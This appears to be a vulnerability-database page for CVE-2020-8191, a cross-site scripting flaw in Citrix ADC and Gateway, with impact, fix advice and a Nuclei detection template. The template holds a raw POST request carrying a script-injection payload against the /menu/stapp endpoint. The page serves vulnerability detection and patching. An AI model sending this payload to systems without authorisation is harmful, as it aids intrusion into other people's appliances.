HexBrain

Browse / CVEs / CVE-2020-8191

CVE-2020-8191· citrix / application delivery controller firmware· CWE-79

Citrix ADC/Gateway - Cross-Site Scripting

mediumseverity
6.1CVSS score
23.5%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 contain a cross-site scripting vulnerability due to improper input validation.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the necessary security patches or updates provided by Citrix to mitigate this vulnerability.

How to confirm it

Send: POST /menu/stapp
Positive when: contains "</title><script>alert(31337)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-8191 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-8191

info:
  name: Citrix ADC/Gateway - Cross-Site Scripting
  author: dwisiswant0
  severity: medium
  description: |
    Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 contain a cross-site scripting vulnerability due to improper input validation.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the necessary security patches or updates provided by Citrix to mitigate this vulnerability.
  reference:
    - https://support.citrix.com/article/CTX276688
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8191
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/jweny/pocassistdb
    - https://github.com/stratosphereips/nist-cve-search-tool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-8191
    cwe-id: CWE-79
    epss-score: 0.23461
    epss-percentile: 0.9781
    cpe: cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: citrix
    product: application_delivery_controller_firmware
  tags: cve,cve2020,citrix,xss,vkev,vuln

http:
  - raw:
      - |
        POST /menu/stapp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-NITRO-USER: xpyZxwy6

        sid=254&pe=1,2,3,4,5&appname=%0a</title><script>alert(31337)</script>&au=1&username=nsroot

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</title><script>alert(31337)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from